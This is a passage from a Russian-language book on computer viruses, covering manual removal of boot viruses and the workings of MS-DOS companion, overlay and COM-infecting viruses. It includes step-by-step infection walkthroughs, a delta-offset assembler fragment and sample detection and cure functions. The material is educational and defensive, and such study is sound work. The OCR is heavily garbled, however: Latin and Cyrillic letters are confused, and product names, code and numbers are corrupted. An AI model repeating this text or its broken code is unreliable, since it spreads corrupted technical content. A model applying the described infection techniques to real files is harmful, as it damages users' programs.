2.5.2. Удаление загрузочнмх вирусов и буткитов 
«вручную»
Если все же заражение загрузочннм вирусом состоялось, а у вас под 
РУкой нет антивирусной программьт, не стоит отчаиваться. Если вн 
опасаетесь, что заражен винчестер, загрузитесь с «чистой» диске- 
тн или Е1УеС0 2 и лишь потом воспользуйтесь программами типа 
ЗушапСес 0 ! ч к и л и  Лстога'5 О^к ЕсН(ог.

Прежде всего скопируйте загрузочнне сектора и подозрительнне 
фрагментн дискового прост[)анства в файл: они вам пригодятся для 
поснлки вирусологам (если вирус новнй) или для того, чтоби «в слу- 
чае чего» вернуть их на прежние места.

________ Советь! по борьбе с загрузочнуми вирусами ❖ 87

1 Кстати, когда-то давнмм-давно на пятидюймових днскетах вместо шторкн 
нспольэовалась прорезь. которую следовало заклеивать специальной лип- 
кой бумажкон.

2 Для «лечения» дискет эта нредосторожность не обязательнн.



88 ❖ Вагрузочнь1е вирусь!

Далее Илмейте в виду, что элементарно «исцеляется» дискета: ско- 
пируйте всю информацию с нее на винчестер или другую дискету, 
отформатируйте ее командой «ҒОКМАТ А> или «В> и верните ин- 
формацию на место. Отметим, что такие действия противопоказанм 
в том случае, если копирование информации с дискетн на дискету 
может нарушить струкгуру ее содержимого, а она (структура) важ- 
на. Например, старме версии переводчика 51у1из поставлялись на 
некопируеммх «ключевмх» дискетах. Не случайно дистрибутивньте 
дискетн настоятельно рекомендуется хранить с открьггьши шторка- 
ми зашитн от записи и снимать завдиту лишь непосредственно перед 
установкой программного обеспечения на заведомо чистьхй от виру- 
сов компьютер, а потом сразу же восстанавливать ее (зашиту) в преж- 
нем состоянии.

Кроме того, 51опес1-подобнне вирусн без проблем удаляются из 
МВК винчестера командой «ҒВ15К /МВК»1.

В более сложньхх случаях разобраться в произошедшем и восста- 
новить зШиз С]1Ю поможет старьш добрнй БхзкЕсИс. Как правило, 
достаточно бнвает найти на винчестере сохраненную вирусом или 
буткитом копию загрузочного сектора и вернуть ее на место. Обнару- 
жить ее можно визуально -  по характерннм текстовнм сообвдениям и 
сигнатуре «АА55Н». Кстати, дабн не заниматься этим нудньш делом 
в пожарном порядке, лучше заранее самостоятельно сохранить ко- 
пии загрузочннх секторов в виде файлов на «спасательной» дискете 
или просто в корневом каталоге винчестера. За вас это могут сделать 
КоПоп И(лП11е5 или даже инсталлятор \¥]Пс1о\ул, которнй предлагает 
организовать «спасительную» дискету во время устаиовки операци- 
онной системн. Не отказнвайтесь от этой возможности!

Ну и наконец, хочется успокоить самнх ленивнх и трусливнх: 
даже если вн отказались от создания «спасительннх» дискет и сохра- 
нения копий загрузчиков, все равно современнме версии \\чпс1са\'я от- 
слеживают состояние загрузочннх секторов и в случае их изменения 
не только предупредят вас о возможности заражения вирусом, но и 
восстановят их прежнее содержимое. Против буткита это не подей- 
ствует, зато «обнчннй» вирус, скорее всего, будет побежден.

1 Это стандартная утилита М8-Г)08 . входявдая также в состав \¥1пс1о\\’» 
95/ 98/ М Е.
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Файловь1е вирусь! 
в М5 - 0 0 5

Большинство (по некоторьш оценкам, до 20 тнсяч) всех сушествую- 
1дих на свете саморазмножаклцихся программ написанн для опера- 
ционной системн М 5-005  [6]. За полтора десятилетия активной 
эксплуатации операционная система М 5-005 исследована вирусо- 
писателями буквально вдоль и поперек: мало найдется лазеек, в кото- 
рне не пнтались бн протиснуться созданнне ими электроннне «мик- 
роорганизмн». В свою очередь, вирусологам в попьггках изловить 
п р о с очи в ш у ю с я «заразу» и заткнуть эти лазейки приходилось подчас 
демонстрировать подлиннне чудеса программистской изобретатель- 
ности.

Тем интереснее и полезнее проследить за увлекательннми при- 
ключениями и кровопролитннми сражениями, разворачивавшими- 
ся в извилистнх полутемннх лабиринтах операционной системн 
М 5-Э05 на протяжении полутора десятилетий, примерно с 1986 по 
2000 г. Хотя бн потому. что приемн вирусньгх «атак>> и антивирусннх 
«зашит>> той эпохи получили продолжение и развитие в новом веке, 
в эпоху \Утс1о\У5-вирусов.

3.1. Вирусь1-«спутики»
Вь/ пе дон Ру.иата, -  объявил дон Рэба. -  Ви 

самозванец... Румата Эсторский умер пять 
ле.т назад и лежит и фамильном склепе своего 
рода.

А. и Б. Стругацкие. «Трудно бмть богом»

В шпионских детективах можно встретить немало нллюстраций 
простой, понятной и легко реализуемой идеи идеи «двойника». 
Широко используется она н в практике вирусописательства.
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В основе функционирования вирусов-«спутников» (их евде назм- 
вают вирусн--«компанъони») лежит простой принцип: прикладная 
программа имеет возможность запустить на исполнение другую про- 
грамму. Этот принцип справедлив для огромного количества опера- 
ционнмх систем, включая М З-Б05, \Утс1олУ5, клонм Ь’К1Х и прочее, 
и, значит, вирусн этого класса представляют собой наиболее обший, 
универсальньга тип компьютерной «заразн». Вот примерн того, как 
эта операция внполняется на различннх язнках программирования 
и в различннх операционннх системах.

В М 5-005  на язнке ассемблера.
гсоу АЧ, 48(1 

гсоу а1, 0 
шо’« й$, зед  

ггюу с1х, о т Г $ е :  РаП '!

е $ . з е д  Р э г В  

пю у о х , о Г Г з е :  Р а г 8

1П1 2111 

]С  Е г г о г

РаТП 00 'РНС-ОЧАМ. ЕХЕ' ,0 
РзгБ 0
йк ?
0* ?
Ои 4 Оир (0)

В М 5-Б05 на язьже Си:
зуз"1еп1( 'РН06ЯАМ. ЕХЕ');

В М 5-005  на язнке Паскаль:
Ехес( ’ РЙОЗПАМ. ЕХЕ' , ' ) ;

В \¥1П(1о\у5 на язнке Си:
М1пЕхес(' РВООКАМ. Е Х Е ', З^ЗНОйВЕҒАШ Т);

А вот пример для ишх-подобньгх систем:
рю _ 1 : о ; с И а г  * е [ ] = { ' " ,

11 ( Г с г к ( ) )  ма1Т(&а); е1зе е х б С У С ./р го д га * " . е);

Рассмотрим обшие принципм работн вирусов-«спутников>> на 
примере вируса 5раг1ак_Н.2000. Алгоритм работн этого представи- 
теля «электронной фаунн» складнвается из следуюгдих шагов.

Шаг 1. Поиск целей для заражения. В качестве таковнх внступают 
файлн с расширениями * .( ОМ» и «.ЕХЕ».

Среда запускаеной программн -  копия текуцвй 
Смешение хзоста команюной строки 
Сегмент хвоста командной строки

0 -  эагрузить и вьтолнить программу 
Сегментная часть адреоа имени программи 
Смешение имени программи 
Сегментная часть блока параметров 
Смешение бяока параиетров

Переход по ошибке



Вируськспутники» ❖ 91

МООЕ СОМ 29 911 05 .05 .95  22:22 М00Е.С0М <- 1-н жэртва
МЕМ ЕХЕ 32 338 05 .0 5 .99  22:22 МЕМ.ЕХЕ <- 2-н хертва
ухвиз ЕХЕ 2 000 04 .07 .98  13:35 У1В1)5. ЕХЕ <- вирус

3 файлов 64 249 байт

Шаг 2. Переименование жертви по следуютцему правилу: расши- 
рение файла меняется на «,ЕЕЕ>> для ЕХЕ-файлов и на *.ССС» для 
СОМ-файлов.
М00Е Соь 29 911 05.05  99 22 22 М00Е.ССС <- 1 -я  жертва

МЕМ ЕЕЕ 32 338 05.05.99 22 22 МЕМ.ЕЕЕ <- 2 -я  жертва

угниз ЕХЕ 2 000 04 .07 .98 13 35 У1К113.ЕХЕ <- нирус

3 файлов 64 249 байт

Шаг 3. Создание копии вируса со старьш именем жертвн.
М00Е СОМ 2 000 09.09.01 13:32 И00Е.С0М <- 1 - Я копия вирусз
МЕМ ЕХЕ 2 000 09.09.01 13:32 МЕМ.ЕХЕ <- 2-ч копия вируса
У1киз ЕХЕ 2 000 04.07.98 13:35 УШ З.ЕХЕ <- вир')
М00Е ССС 29 91 05.05.99 22:22 М0ВЕ.ССС <- 1 - Я жертзсз
МЕМ ЕЕЕ 32 33.8 05 .05 .99 22:22 МЕМ.ЕЕЕ <- 2 - ч жертва
5РАЯТАК ВАТ 86 09.09.01 13:32 8РАНТАК. ЗАТ
6 файлов 68 335 байт

Таким образом, после этого шага в каталоге содержатся как неиз- 
мененнше, но переименованние файли-жертвм, так и копии вируса. 
чузурпировавшие» право носить чужие имена. Собственно говоря, 
заражение состоялось. Если теперь пользователь попмтается за- 
пустить одну из зараженньгх программ (например, захочет ознако- 
миться с распределением памяти при помоиди командм «МЕМ»), то 
управление получит и начнет вьшолняться живушая в файле «МЕМ. 
ЕХЕ» копия вируса.

Шаг 4. Будучи запушен, вирус переименовнвает себя, изменяя рас- 
ширение файла своей активной копии на «.$$$», а «правильное»- имя 
временно возврашается жертве.
М00Е сом 2 000 09.09.01 13:32 М00Е.С0М < -  1 -« с о п и о  вируса
МЕМ $$5 2 000 09.09.01 13:32 МЕМ.$$$ <- 2-л копия вируоа

ЕХЕ 2 000 04.07.98 13:35 У1Н113. ЕХЕ <- вирус
М00Е ССС 29 911 05.05.99 22-22 МООЕ.ССС <- 1 -я жеотва
МЕИ ЕХЕ 32 338 05.05.99 22:22 МЕМ.ЕХЕ <- 2-я хе;.ч ва
ЗРАЯТАК ВАТ 86 09.09.01 13:32 ЕРАЙТАК. ват
5 фай лОЗ 58 335 сэйт

Шаг 5. Программа-жертва запускается из вируса при помовди 
футхкции 4ВЬ прернвания 21Ь. Она работает, как ни в чем не бьгва- 
ло, вьшолняет требуемме действия и не подозревает, бедняга, что
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после ее завершения управление вновь получит зловреднмй вирус 
8раг1ак_Н.2000. Вирус производит обратнме переименования, воз- 
вравдая ситуацию к той, каковая возникла после 3-го шага, и перехо- 
дит к 1-му шагу. А именно: шцет новме цели для заражения, внполня- 
ет очереднне переименования и т. д. При этом он никогда не заражает 
сам себя, то есть программнне файлн длиной 2000 байтов.

Осталось упомянуть еше две малозначительнне особенности ви- 
руса 5раг1ак_11.2000. Изредка он оглашает окрестности компьютера 
ритмичньш попискиванием и отображает на экране эмблему попу- 
лярного спортклуба (см. рис. 3.1).

Рис. 3.1 ❖ Проявление вируса 
5раПак_И.2000

Другая особенность состоит в том, что, заразив файлн в каком-ли- 
бо каталоге, он оставляет «лечилку»; файл «5РАКТАК.ВАТ», кото- 
рнй внполняет обратнне переименования и копирования. Сам на- 
гадил, сам и подтирает, -  вот такие «совестливне» вирусогшсатели 
иногда попадаются.

Изучив алгоритм работн вируса 5раг1ак_Н.2000, нетрудно разра- 
ботать алгоритм его удаления: надо уничтожить все файлн длиной 
2000 байтов, обладаюшие расширениями «,С.ОМ»> и «.ЕХЕ», для ко- 
торнх имеются «эквиваленгн» с расширениями «.ССС>> и «.ЕЕЕ». 
Затем потребуется вернуть всем переименованннм программам их 
прежние имена, освободив их таким образом из тяжкой вирусной 
«кабалн». В упрошенном виде (не делая проверок) эти операцин вн- 
полняет файл «5РАКТАК.ВАТ».
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Возникает, разумеется, вопрос: почему нами обойдена вниманием 
задача обнаружения и однозначного распознавания вируса 8раг(ак_
11.2000? Дело в том, что этот вирус полиморфен и не имеет посто- 
янной сигнатурм. Проблема распознавания таких вирусов будет рас- 
смотрена позже.

Разумеется, вирусм-«спутники» обладают рядом более или менее 
неприятннх побочнмх свойств. Во-первнх, при копировании зара- 
женной программн в другое место гарантирован только перенос виру- 
са, а на переименованную «жертву» пользователь может и не обратить 
внимания. Во-втормх, запуск таким образом зараженной програм- 
мн с носителя, загцишенного от записи, -  например, с С 1)/ГЗ\70  -  
невозможен. В-третьих, становятся неработоспособннми некоторне 
программм, для корректной работн которнх важно «правильное» 
имя. Имеются и другие «мелочи», способньте сильно попортить кровь 
пользователю.

Интересная вариация идеи программн-«двойника» основа- 
на на особенности функционирования командннх процессоров 
СОММАМБ.СОМ и СМВ.ЕХЕ: если пользователь при запуске не 
указмвает расширения программн, то командньш процессор сначала 
пнтается найти и запустить ее СОМ-вариант. Таким образом, если 
в каталоге лежат две программм с одинаковнми именами, но с раз- 
ннм расширениями, например «РКОСКАМ.СОМ» и «РКОСКАМ. 
ЕХЕ», то запускаться всегда будет та из них, которая имеет расши- 
рение -«.СОМ». Вот как работает старинньш вирус НЬЬС.А1с1з.8064, 
используюший эту особенность. До заражения:
МЕМ ЕХЕ 32 338 05.05.99  22:22 МЕМ.ЕХЕ <- Жертва
\/1йи8 сХЕ 8 064 25.06.99 14:20 ухгиз.ехе <- Бируо

2 фзйлоз 40 402 бзйт

После заражения:
МЕМ ЕХЕ 32 338 05.05.99 22:22 МЕМ.ЕХЕ <- Жертва
УГЙУб ЕХЕ 8 064 25.06.99 14:20 У1гиз.ехе <- Вирус
МЕМ С0М 8 064 25.06.99 14:20 МЕМ.С0М <- Копич вирусз

3 фэйлов 48 466 бзйт

Итак, вирусу не требуется не только модифицировать каким-ли- 
оо ооразом свою «жертву», но даже и переименовмвать ее! Впрочем, 
переименование может оказаться необходимн.м, если программа уже 
имеет расширение <<.СОМ». В этом случае «жертве» целесообразно 
присвоить расширение «.ЕХЕ», тогда вирус получит возможность 
захватить оолее «привилегированное» имя с расширением «.СОМ».
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Собственно говоря, вирус НЬ1Х.А1с18.8064 довольно примитивен и 
сам так никогда не поступает, зато подобное умение присувде множест- 
ву других, чуть-чуть более «продвинутмх» вирусов-«сп\тников>.

3.2. «Овердейнью» вирусь!
Втреди мчалась госпожа Мозес с гигантским 
черньш сундуком под мишкой, а на плечах ее 
грузно восседал сам старий Мозес.

А. и Б. Стругацкие.
«Отель “У погибшего альпиннста”»

Вообше, под оверлеями, или оверлейньши сегментами, в информати- 
ке обьгчно понимают «несамостоятельнме» фрагментн программно- 
го кода, которне изначально не присутствуют в оперативной памяти 
и хранятся где-то на внешнем носителе. <?Главная>> программа (ко- 
торую часто назнвают корневь/м сегментом) поочередно загружает 
их для исполнения в один и тот же район оперативной памяти так, 
что они перекрнвают друг друга. Отсюда и произошел термин (англ. 
оиег1ау -  перекрнтие). Если оверлейнне сегментн представляют со- 
бой отдельнне файлн, то говорят о внешних оверлеях. Если они со- 
ставляют одно целое с файлом корневого сегмента, то считается, что 
это внутренние оверлеи.

Рассмотреннне в предндувдем разделе вирусн-сп\тники тоже 
в каком-то смнсле реализуют идею внешних оверлеев. Сушеству- 
ют также вирусн, которне после заражения прикрепляют файлн 
«жертв» к своему файлу. Будем назнвать их «оверлейньши» вирусами.

Рассмотрим подробнее принцип их действия на примере вируса 
НЬЬР.О§Ь 1.4859.

Шаг 1. Вирус содержит внутри себя зараженную программу в ка- 
честве «внутреннего» оверлея. С.разу после запуска гтолучает управ- 
ление «корневой сегмент», то есть вирус. Вирус «знает», начиная 
с какой позиции в его файле располагается оригинальная програм- 
ма, создает на диске файл с именем 1ЛС1ГГСОМ, извлекает из своих 
«недр> и размешает в нем оригинальную программу и запускает ее на 
исполнение.
ИОЧЕ СОМ Ю 503 05.06.99 22:22 ИОЯс.СОМ <- здоровая програмна
И О Н Т  СОК ' С  503  0 5 . 0 5 . 9 9  2 2 : 2 2  И С Н Т . С 0 М  <- о и ш и й  овер.пнй

У ГЯ У З  СО^ ' 5  0 99  С 5 . 0 7 . 9 7  1 9 : 0 5  V ] ' .  с сп <-  Б и п у " г' 3 й ;т . ' - ! ' '

? ФЗЙЛОЕ: 36 9 Т ,  п.зйТ
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Шаг 2. Вновь получив управление, вирус стирает файл ГЛСНТ.

сом.
Шаг 3. Вирус ишет в текугцем каталоге цели для заражения. В на- 

шем случае «нападению» должна подвергнуться системная утилита 
МОКЕ.СОМ.
МОВЕ СОМ 10 503 05 .05 .99  22:22 М0ЯЕ.С0М <- здоровая програмна
'5/18115 СОМ 15 099 05 .0 7 .97  19:05 У 1Гиз.соп  <- вирус с  оверлеем

2 файлов 25 602 байт

Шаг 4. Вирус записмвается на место программь1-«жертвм», а по- 
том (предварительно сохранив в памяти) присоединяет байтьт ее 
прежнего содержимого к этому же файлу. В результате получается 
файл «суммарной» длинм, корневой сегмент которого представляет 
собой код вируса, а пассивннй внутренний оверлей -  код программн 
(см. рис. 3.2).

До заражения

Файл вируса Файл здоршой 
программь!

После заражения

Вирус

Программа, 
приписанная 
к концу вируса

Рис. 3.2 ❖ Принцип заражения, 
используемий «оверлейнуми» вирусами

Итак, после заражения файл МОКЕ.СОМ «поправляется» на 4859 
байтов.
МОВЕ С0М 15 362 17.06.01 21:40 М0КЕ.С0М
У1Я115 С0М 15 099 05.07,97 19:05 У 1 Г и з . с о г с

2 файлов 30 461 б зй т

Разумеется, корректная работа запускаемой таким образом «жерт- 
вн>> возможна далеко не всегда -  некоторме программм «обнжают- 
ся», когда их назнваютчужим именем. Но «негорднх» программтоже 
довольно много. Они нормально запустятся, внполнят свою работу и 
завершатся, вернув управление коду вируса.

Более «продвинутмй» вирус должен бмл бн нереименоваться во 
что-нибудь иное, разместить «жертву» под ее подлиннь!м п.менем, за-
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П}7стить ее, а после получения управления внполнить обратную опе- 
рацию (примерно так, как это делал вирус 5раг1ак_Н.2000). Такие 
вирусн действительно сушествуют, и их немало.

Обьино вирусологи присваивают префикс «НЬЬ> именам виру- 
сов, написанннх на язнках внсокого уровня -  Паскале, Си, Бэйсике, 
Клиппере, Форте, Модуле-2, Ое1рЬ1 и прочих. Четвертая буква пре- 
фикса специфицирует тип вируса:

О НЬЬС -  вирусн-спутники (сошрашоп);
О НЬ1.Р -  «оверлейнне» вирусн-паразитн (рагааШс);
О Н1ЛХ) -  перезаписьшаюшие вирусьх (оуеп^гкт^).
Для создания вирусов-спутников и «оверлейннх» вирусов тре- 

буются минимальньге знания и умения в области программирова- 
ния (даже знание язнка Ассемблера совершенно необязательно) и 
совсем немного времени. Например, исходньш текст вируса НЬЬР. 
1л£Ь<:.4859, опубликованньга в 12-м внпуске электронного журнала 
1пГес1ес1 УоГсе, состоит всего из 65 строк на язнке Паскаль, 10 из кото- 
рнх предназначенн для отображения всяческих дурацких сообшений 
типа «Мужики бросай работать -  пошли пивасика пить!» (авторские 
орфография и пунктуация сохраненн). Нередко НГХ-вирусн со- 
держат внутри себя объемную «переписку» с вирусологами, обнчно 
без малейших признаков грамотности, зато с обилием ненорматив- 
ной лексики (примером могут служить -яценки» из семейства НЬЬР. 
0°88> ) Еше меньше мнслительннх ресурсов затрачивается на соз- 
дание перезапишваюгцих вирусов, которие не утруждают себя «из- 
лишествами», а просто убивают «жертву», записнваясь поверх нее. 
Написание НЬЬ-вирусов такого рода -  привилегия воинствуюших 
бездарей.

Тем не менее обнаружение и излечение НЬЬ-вирусов подчас пред- 
ставляют для вирусолога нелегкую задачу. Обьтчно это случается, 
когда вирус содержит какую-нибудь неочевиднуго изюминку на- 
пример приписивает к себе «жертву», предварительно зашифровав 
ее. Полдюжинн строк на язнке внсокого уровня нередко «развора- 
чиваются» в килобайти кода (а для \УГпс1о\У5-вирусов -  в десятки и 
сотни килобайтов!), через которне приходится долго и мучптельно 
пробираться вирусологу. Но, по большому счету, в этом «виноватн» 
авторн комгшлятора, использованного для написания вируса, а со- 
всем не вирусописатели.

Для разработки нашего антивируса изучать машиннне кодн не по- 
надобится -  алгоритм работн вируса НЬЬРХ1йЬ(;..4859 прост, прозра- 
чен и легко познается в результате несложннх экснери.чентов.
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Разработаем две функции: тпС 1п£есСес1(сЬаг *) и т (  сиге (сЬаг *). 

Первая из них предназначена для проверки программм. имя которой 
передается ей в текстовом массиве, на зараженность. Функция долж- 
на возврашать ненулевой код, если файл заражен. Вторая будет вм- 
полнять удаление вирусного кода из зараженной программм.

Однозначно распознать вирус НЬЬРХ1§Ь1.4859 нам поможет рас- 
смотренньш ранее принцип байтовнх сигнатур. Для НЬЬ-вирусов 
необходимо вмбирать длиннне сигаатурн, располагаювдиеся где-то 
в середине вируса. Дело в том, что компилятори с язнков внсоко- 
го уровня склоннн генерировать очень похожие и даже идентичнме 
фрагментм кода для абсолютно разннх программ, а значительную 
часть программного модуля всегда занимает стандартньш код ЯТЬ 
(англ. КипНтпе ПЬгату -  библиотека времени исполнения). Соот- 
ветственно, вероятность ложного срабатьшания при использовании 
коротких сигнатур весьма внсока. Для нашего учебного примера 
вполне достаточной будет сигнатура длиной 16 байтов. Пусть она 
располагается в вғтрусе, начиная с позиции 1000Ь=4096, тогда ее обра- 
зуют следуювдие значения: «88Ь 42Ь ОЕОЬ 46Ь ОЕВЬ 27Ь ООЬ 0Ес1Ь ЗҒЬ 
8ВЬ ОСЕЬ ОЕЗЬ 12Ь 8Г)Ь 7ЕЬ ОЕОЬ». Будем считать, что если в про- 
веряемом файле по адресу 4096 располагаются именно эти байтн, то 
программа заражена вирусом Н и Р И § Ь (: .4859. Функция т£есСес!() 
может внглядеть примерно так:
ипзхопеа спаг 3 1 сп Г16] = {0x88, 0x42, ОхЕО, 0x46, ОхЕВ. 0x27,
0x00, ОхЕЭ, 0x3Ғ, 0х8В, ОхСЕ, ОхЕЗ, 0x12, 0x80, 0х?Е, ОхЕО }:

1 ги ш ТесгесК спаг *з) { 
ипз!дпес! сНэг ЬиТ [16]; Т;
* -  ореп(з, 0_В1НАЯУ| О.ЯООЖЛ);
1зеек(Т , ОхЮОО, $ЕЕК_ЗЕТ); 
геаа(Т, ЬиТ, 16); 
сТ о зе (Т );
гегигп (!8ггяс*в(СиТ, 31дп, 16));

Вирус из программн удаляется тоже очень просто: 1) из заражен- 
ного файла считнвается фрагмент, начинаювдийся с байта 4859 и про- 
стиракшшйся вплоть до конца файла; 2) этот фрагментзаписнвается 
в начало файла; 3) если орипшальная программа бнла короче вируса, 
то в конце файла образуется «лишний хвост», его рекомендуется от- 
сечь. Вотпримерннй варнант функции сиге(): 
с и г е ( с я з г  {

г, п; ипй̂дпес! сИа' и';81дпе'; 'и,
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Г = ореп(з, О^ВМАНУ! 0_В0КН): 
гр=4859; 'л'р=0; п=512; 
мпие(п) {

1зеек(т, гр, 8ЕЕК.8ЕТ); 
п = геао(Т. ЬуС, 512);
1зеек(г, МР| 8ЕЕК.ЗЕТ);
V»г 11:е ( ‘Ғ , О иҒ , п ) ;  

гр+=п; *»р+=п;
>
с 1 о з е (0 ;

>

3.3. Вирусь!, варажаюшие 
СОМ-профаммь1

...Он собрал би эту штуку в два счета, нерас- 
кривая глаз.

А. и Б, Стругацкие. «Обитаемнй остров»

СОМ-программн представляют собой неструктурированннй блок 
кода и данннх, не превншаювдий по размеру 64 Кб и начинакнций- 
ся с исполняемой командн. Программн такого вида -  наследие, 
оставшееся от операционной системн СР/М, предшественницн 
М 5-005  и \У1пс1о\\'5. Но д о  сих пор операционнне системн (на- 
пример, \¥1пёо\\’5 2000/ХР) позволяют запускать такие программн. 
А в \¥]П(1о\\'5 95/98/М Е половина стандартннх системннх утилит, 
храняшихся в подкаталоге «?-6\Ут(Пг%\СОММА^О», просто явля- 
ются СОМ-программами.

Следует отличать СОМ-программь1 от СОМ-файлов, то есть от 
файлов с расширением «.СОМ». Дело в том, что внутреннее содер- 
жимое программн может не соответствовать расширению. Например, 
командннй процессор «СОММАКО.С.ОМ» в М5-БОЗ версий до 6.22 
включительно имел СОМ-формат, а начиная с версии 7.х его файл 
с тем же именем содержит уже Эб-кнлобахЧтовую ЕХЕ-программу.

3.3.1. Внедрение в файл «жертвм»
Системннй загрузчик вьхделяет СОМ-программе максимальннй сво- 
бодннй фрагмент основной (соп\геп1юпа1) памяти, в первнх 25(5 бай- 
тах которой стронт префикс программного сегмента Р5Р (зто верно и 
для ( ОМ . и для ЕХЕ-программ), затем, начиная со смехцения ЮОЬ, 
размехцает содержимое програ.ммного фах!ла в  нензменном виде, на-
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страивает регистрм и, наконец, передает управление на первую ис- 
полняемую комаиду. Вот структура Р5Р:
I п 1". 2 0 ? +00Н - байтн СВ 2011 - код комзнди 1НТ 20Н
ТорМвПГ! ? Ч)2Н -  разиер в 16-байтниках внделенной памяти

ЙЬ ? -Г-04Н - ???
Са 111 йь ? +05Н - начало комакдн С А и  смевение:сегиент СР/М
ЗеаЯ г йм ? +06Н - оззмер программного сэгментэ
Са 112 Ом ? -Ю8Н - конец командм САИ смешение: сегмент СР/М
з1П122 с!с ? +0аН - Предь'дуи|ий адрес обраоотчика 1КТ 22Н
а!п123 йо ? *0еН - Предидуший адрес обоаботчика 1МТ 23Н
а 1п1:24 йй ? +12Н - Предудуший адрес обработчика 1МТ 24Н
РагРЗР ? +16Н - Сегмент Р5Р программи-оодителя
нгаь оь 20 йир ( ? ) -18Н - табпице описзтелей открьгтмх файлов
Епубед йм ? +2-0Н -  Сегмент блока окружения (средн)
383Р аа о +2еН - начальное содерхимое 35:8Р
Мпап 6 « ? +32Н - счетчик заполненнйх голей в таблице описателей
АНТза а а ? +34Н - адрес текушвй таблицн описателей
РгР8Р см ? +38Н -  укаэатель на предудуций РЗР

йь 4 Оир (?) +ЗСН - ? ??
Уегз Ф< ? +40Н -  версия МЗ-ООЗ (начиная с 5.0)

аь 14 оир (?) +42Н - ? ??
Са113 йЬ 3 аир ( ? ) +50Н - кодь| команд Ш  210 и ЯЕТҒ

аь 9 Сир ( ? ) +53 Н -  ? ??
ҒСВ1 аь 16 оир ( ? ) +5сН - ҒСВ1
ҒСВ2 ЙЬ 16 сир ( ? ) +6сН -  ҒС32

ЙЬ 4 Сир ( ? ) +7СН - ? ? ?
ОТА ЙЬ 128 Оис ( ? ) +80Н -  ОТА по умолчэнию и командная строка (0-й байг -  длин

Таким образом, вирусу, возжелавшему заразить СОМ-программу. 
достаточно:

О каким-либо образом прикрепиться к ее файлу;
О заменить первую команду программн на свою.
Вмполнено это может бьггь огромнмм количеством способов. Рас- 

смотрим несколько наиболее часто встречаюшихся.
Способ 1 («стандартньш»), Вирус приписнвается к концу файла 

СОМ-программм, а в начало его вписмвает ассемблерную команду 
(как правило, это ^М Р» или «САЬЬ») перехода на свое тело. Разуме- 
ется, прежнее начало программм, замененное командой перехода, со- 
храняется где-то внутри вируса. Пример -  вирус \ 71еппа.648.

Приписмвание вирусного кода к концу программм прпводит к 
невозможности использования в нем прямой адресации к ячейкам 
памятн (напрнмер. <\'10V МЕТКА.О»), Дело в гом, что все прямме 
ссмлки <<плмвуг>> на величину, равную длине заражаемой програм- 
мм. Вирусописателям приходится усложнять свой алгоритм, ис- 
пользуя косвенную адресацию со сметенпем (напримгр. «МОУ
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МЕТКА[51],0»), причем в индексном регистре (это могут бмть ре- 
гистрьт 51, 01, ВХ или ВР) должно содержаться «корректируюшее» 
число. Буквально несколько лет назад, на рубеже веков, в русско- 
язмчную литературу пришел «из-за бугра » специальнмй термин для 
этого числа -  «дельта-смегцение». Пожалуй, его нельзя признать 
слишком удачньш, но «на безрьгоье» он бмстро стал обшепринятьш. 
Для получения «дельта-смешения» обмчно используется примерно 
вот такой фрагмент:
ЗТагИ:

сз11 N6X1:
Мехт:

ООР 51

"иЬ  8 1 . Ю ОМ+СотТгег М & хГ-оттяе* З т а г г ;  : Для СОМ-вирусов это  Ю Зп

Очень часто он располагается в самом начале вирусного кода. На- 
личие такого или подобного ему фрагмента -  важнмй признак зара- 
женности программм!

Еше одна особенность, которую необходимо иметь в виду при ана- 
лизе «стандартно» заражаюодих вирусов, связана с тем фактом, что 
многие создаваемне в последнее время СОМ-программм содержат 
внутри некое подобие внутренней структурн. В частности, систем- 
нме утилитм М5 \У]п<1о\\75 95/98/М Е разделенн на несколько секций, 
одну из которнх занимает исполнимьш код, другую -  область данннх, 
третью -  область инициализированнмх данннх и текстовнх строк и т. 
д. Благодаря этому при локализации \Утс1о\\':> не требуется переписн- 
вать исходннй текст и заново компилировать утилитм -  достаточно 
заменить в них секцию с, например, англоязнчннми сообшениями, 
на секцию с русскими. Все секции объединенм в кольцевой список, 
меткой заголовка секции является сигнатура «**М5», в которой пер- 
внми двумя символами закодирован язнк: «ЕКУМ5» -  английский, 
«ҒКАН5» -  французский, «БЕ1Ж5» -  немецкий, «КЪТ5Н5» -  рус- 
ский и т. п. Последний заголовок (точнее, первнй, так как именно с 
него сама программа начинает обход списка) размешается в конце 
последней секции, то есть в конце СОМ-файла. Большинство виру- 
сов, приписнваюшихся к такой программе, «сбивают» настройку, и 
утилита переетает корректно работать. На момент написания этих 
строк с.ушествуют по крайней мере два вируса -  Ғоо.956 и ТО.1536, -  
которме учитнвают это обстоятельство и заражают структурирован- 
ньге С.ОМ-программм «правильно»: переносят в копец файла метку

вместе со ссьшкой на следуюгцую секциюи корректируютэту
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ссмлку (следуювдие за сигнатурой два байта), увеличивая ее на дли- 
ну вируса. Кстати, лечить зараженньге такими вирусами программьт 
надо тоже «правильно»!

Способ 2 («оверлейнмй»). Практически аналогичен тому, котормй 
используется в «оверлейнмх» вирусах: код оригинальной программм 
оказмвается после кода «заразм». Отличие только в способе возврата 
управления «жертве» (см. далее). Примерами моглт служить много- 
численнме вирусм из семейства Р1хе1 (они же Атвкгай).

Способ 3 («вмтесняювдий»). Из начала оригинальной программм 
изьшается фрагмент, равнмй по размеру длине вируса, и прикрепля- 
ется к файлу в каком-нибудь другом месте (например, в конде). Ви- 
рус записмвается в «освобожденное» место. Так работают, например, 
представители семейства Сег§апа.

(I
"Стандартньгй" "Оверлейнмй” 
способ способ

Способ
"вь1тесненияк

ЛМР] 
Зараженная 
программа

Вирус

Вирус

Зараженная 
программа

Вирус

...программа 

Зараженная...

Рис. 3.3 ❖ Основние способь! заражения СОМ-программ

Способ 4 («смешанньш»), Фактически имеются в виду все осталь- 
нме схеми внедрения вирусного кода в тело программм. Вирусопи- 
сателю никогда не бмло трудно изобрести и реализовать вариантьь 
предусматриваювдие «перемешивание» фрагментов «жертвм» и ви- 
руса. Главное требование -  чтобм первая команда принадлежала ви- 
русу (хотя, как мм увидим дальше в разделе «Вирусм с неизвестной 
точкой входа», даже и это необязательно).

Например, классический вирус ЬеЬ1§Ь размевдал себя в середине 
файла «СОММАМБ.СОМ», в довольно обширной «пустой» области, 
содержахцей нулевме байтм.

Азнаменитмй ОпеНаН\3544 хотя и приписмвал свое зашифрован- 
ное тело к концу файла, зато командм декодируювдего цикла оказм- 
вались раскиданм по фай.ау в виде случайнмм образом расположен- 
ннх «островков».
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3.3.2. Возврат управления «жертве»
Если вирус не «перезаписьшаютнйл, то он должен обеспечить нор- 
мальную работу зараженной им программм, чтоби пользователь ни- 
